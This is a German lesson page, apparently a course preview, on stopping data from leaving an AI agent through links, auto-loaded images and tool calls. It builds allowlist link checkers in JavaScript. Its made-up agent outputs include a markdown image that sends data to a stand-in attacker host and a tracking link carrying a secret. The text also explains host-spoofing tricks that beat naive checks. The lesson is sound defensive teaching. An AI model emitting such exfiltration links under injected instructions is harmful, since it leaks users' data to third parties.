Wie Daten einen KI-Agenten verlassen
Exfiltration bedeutet, dass Daten auf einem Weg abfließen, den der Besitzer nicht vorgesehen hat. Ein Agent hat mehr Wege als ein Chatbot: Links in seinen Antworten, Bilder, Werkzeugaufrufe und Webanfragen.
Das Modul „LLM-Anwendungen absichern“ behandelt Injection. Diese Lektion schließt die Ausgänge, damit ein in einer Seite versteckter Befehl nirgendwohin senden kann, was der Agent weiß.
Am Ende dieser Lektion
Notiz
Ich kann die Wege schließen, auf denen Daten einen Agenten verlassen, mit einer Erlaubnisliste von Zielen, die der Code prüft.
Schlüsselwörter
| Begriff | Was er bedeutet | Beispiel |
|---|---|---|
| Exfiltration | Daten, die auf einem vom Besitzer nicht vorgesehenen Weg abfließen | |
| Erlaubnisliste | die einzigen erlaubten Ziele, alle anderen werden abgelehnt | docs.beispiel.de |
| Host | der Servername in einem Link, zwischen // und dem nächsten / | |
| Query-String | der Teil eines Links nach dem Fragezeichen, der Daten tragen kann | |
| Egress | Datenverkehr, der Ihr System in Richtung eines anderen verlässt |
Die Zellen, die Lernende ausfüllen, bleiben in dieser Vorschau leer.
Vier Wege, auf denen Daten abfließen
Ein Link in der Antwort: Der Nutzer klickt, und die Adresse trägt Daten. Ein Bild in der Antwort: Der Browser lädt es von selbst, die Daten gehen also ohne Klick hinaus.
Ein Werkzeugaufruf: eine Anfrage des Agenten mit Daten in den Argumenten. Ein Dateiname oder eine Nachricht, die an ein Chat- oder Mailwerkzeug geht.
Alle vier legen Daten in ein Ziel oder eine Nachricht. Prüfen Sie also, wohin jede geht.
Beispiel: Weg und Prüfung
| Weg | Wie Daten abfließen | Die Prüfung |
|---|---|---|
| Link | Im Query-String oder im Pfad | Der Host steht auf der Erlaubnisliste |
| Bild | Der Browser lädt es sofort | Dieselbe Host-Prüfung, oder gar keine Bilder |
| Werkzeug für Webanfragen | In der Adresse oder im Rumpf | Host auf der Liste, und die Methode ist begrenzt |
| Chat- oder Mailwerkzeug | Im Nachrichtentext | Empfänger auf der Liste |
Die Zellen, die Lernende ausfüllen, bleiben in dieser Vorschau leer.
Der Run prüft Links und sendet nichts
Das erste Skript hält vier erfundene Ausgaben. Es findet jeden Link und liest seinen Host. Dann vergleicht es den Host mit einer Erlaubnisliste.
Es wird nichts abgerufen. Die Adressen sind erfunden, und das Skript liest sie nur. Beachten Sie, wie der Bild-Link geschrieben ist: Er beginnt mit einem Ausrufezeichen, das das Skript aus einem Zeichencode baut.
Den Link-Prüfer schreiben, Teil 1
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const erlaubt = [\"docs.beispiel.de\", \"hilfe.beispiel.de\"];' 'const bang = String.fromCharCode(33);' 'const ausgaben = [' ' \"Die Anleitung steht unter https://docs.beispiel.de/start für die Schritte.\",' ' \"Fertig. \" + bang + \"[logo](https://bilder.angreifer.beispiel/p.png?d=ANJA-4411)\",' ' \"Öffnen Sie [das Formular](https://hilfe.beispiel.de/formular), um fortzufahren.\",' ' \"Klicken Sie auf https://tracking.beispiel.net/c?notiz=geheim zur Bestätigung.\",' '];' > egress.js"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Den Link-Prüfer schreiben, Teil 2
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostVon(url) {' ' return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsAus(text) {' ' const gefunden = [];' ' for (const wort of text.split(\" \")) {' ' const anfang = wort.indexOf(\"http\");' ' if (anfang >= 0) gefunden.push(wort.slice(anfang).split(\")\")[0]);' ' }' ' return gefunden;' '}' 'for (const text of ausgaben) {' ' for (const url of urlsAus(text)) {' ' const ok = erlaubt.includes(hostVon(url));' ' const abfrage = url.includes(\"?\") ? \" (trägt eine Abfrage)\" : \"\";' ' console.log((ok ? \"erlaubt \" : \"BLOCKIERT \") + hostVon(url) + abfrage);' ' }' '}' >> egress.js"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Den Link-Prüfer ausführen
docker exec -w /home/node/project agent node egress.jsHier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Was das Skript druckt
| Zeile | Was sie zeigt |
|---|---|
| erlaubt docs.beispiel.de | Der Host steht auf der Liste |
| BLOCKIERT bilder.angreifer.beispiel (trägt eine Abfrage) | Ein Bild an einen Fremden, mit Daten in der Adresse |
| erlaubt hilfe.beispiel.de | Ein Link auf einen gelisteten Host |
| BLOCKIERT tracking.beispiel.net (trägt eine Abfrage) | Ein Host, den niemand gelistet hat |
Die Zellen, die Lernende ausfüllen, bleiben in dieser Vorschau leer.
Vergleichen Sie den ganzen Host, genau
Es reicht nicht zu prüfen, ob ein Link mit dem erlaubten Namen beginnt. Der Link docs.beispiel.de.angreifer.beispiel beginnt so und führt woandershin.
Ein Link kann auch einen Namen vor einem At-Zeichen tragen. Bei [email protected] ist der echte Host der Teil nach dem At-Zeichen. Lesen Sie den Host aus und vergleichen Sie ihn ganz.
Ein häufiger Fehler
Warnung
Viele schreiben eine Sperrliste schlechter Hosts. Angreifer haben endlos neue. Listen Sie auf, was erlaubt ist, und lehnen Sie den Rest ab, im Code, bevor die Antwort angezeigt wird.
Das Modell-Skript schreiben, Teil 1
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const { fragen } = require(\"./model\");' '' 'const erlaubt = [\"docs.beispiel.de\", \"hilfe.beispiel.de\"];' 'const nachrichten = [' ' { role: \"system\", content: \"Sie helfen den Nutzern einer Software. Antworten Sie in einem Satz mit genau einem Markdown-Link auf https://docs.beispiel.de/hilfe.\" },' ' { role: \"user\", content: \"Wo finde ich Hilfe?\" },' '];' '// Aufgezeichnete Probe, nur verwendet, wenn kein Modell antwortet.' 'const probe = \"Hilfe finden Sie in [der Anleitung](https://docs.beispiel.de/hilfe).\";' > egress2.js"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Das Modell-Skript schreiben, Teil 2
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostVon(url) {' ' return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsAus(text) {' ' const gefunden = [];' ' for (const wort of text.split(\" \")) {' ' const anfang = wort.indexOf(\"http\");' ' if (anfang >= 0) gefunden.push(wort.slice(anfang).split(\")\")[0]);' ' }' ' return gefunden;' '}' >> egress2.js"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Das Modell-Skript schreiben, Teil 3
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'async function main() {' ' const antwort = await fragen(nachrichten, probe, 80);' ' console.log(\"Antwort: \" + antwort);' ' const urls = urlsAus(antwort);' ' console.log(\"Gefundene Links: \" + urls.length);' ' for (const url of urls) {' ' console.log((erlaubt.includes(hostVon(url)) ? \"erlaubt \" : \"BLOCKIERT \") + hostVon(url));' ' }' '}' 'main();' >> egress2.js"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Den Modell-Helfer schreiben, Teil 1
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const basis = process.env.AI_URL || \"http://ai:4000\";' 'async function fragen(nachrichten, probe, max) {' ' try {' ' const res = await fetch(basis + \"/v1/chat/completions\", {' ' method: \"POST\",' ' headers: { \"content-type\": \"application/json\", authorization: \"Bearer lab\" },' ' body: JSON.stringify({ model: \"lab\", messages: nachrichten, max_tokens: max || 200 }),' ' signal: AbortSignal.timeout(30000),' ' });' ' if (res.ok === false) throw new Error(\"Status \" + res.status);' ' return (await res.json()).choices[0].message.content;' > model.js"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Den Modell-Helfer schreiben, Teil 2
docker exec -w /home/node/project agent sh -c "printf '%s\n' ' } catch (fehler) {' ' console.log(\"Aufgezeichnete Probe: Kein Modell hat geantwortet (\" + fehler.message + \").\");' ' const liste = [].concat(probe);' ' const runde = nachrichten.filter(function (m) { return m.role === \"assistant\"; }).length;' ' return liste[Math.min(runde, liste.length - 1)];' ' }' '}' 'module.exports = { fragen };' >> model.js"Hier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Mit dem Modell ausführen
docker exec -w /home/node/project agent node egress2.jsHier angezeigt, nicht ausgeführt. Erstellen Sie ein kostenloses Konto, um „Ausführen“ zu drücken und ihn im Terminal Ihres eigenen Labs einzugeben.
Eine mögliche Ausgabe
| Zeile | Was sie zeigen kann |
|---|---|
| Antwort | Ein Satz mit einem Link. Die Wörter ändern sich bei jedem Lauf |
| Gefundene Links | Meist 1. Das Programm zählt, was die Antwort enthält |
| erlaubt oder BLOCKIERT | erlaubt, wenn der Host gelistet ist. BLOCKIERT für jeden anderen Host |
| Aufgezeichnete Probe | Wird zuerst gedruckt, wenn kein Modell geantwortet hat. Das Skript macht mit der Probe weiter |
Die Zellen, die Lernende ausfüllen, bleiben in dieser Vorschau leer.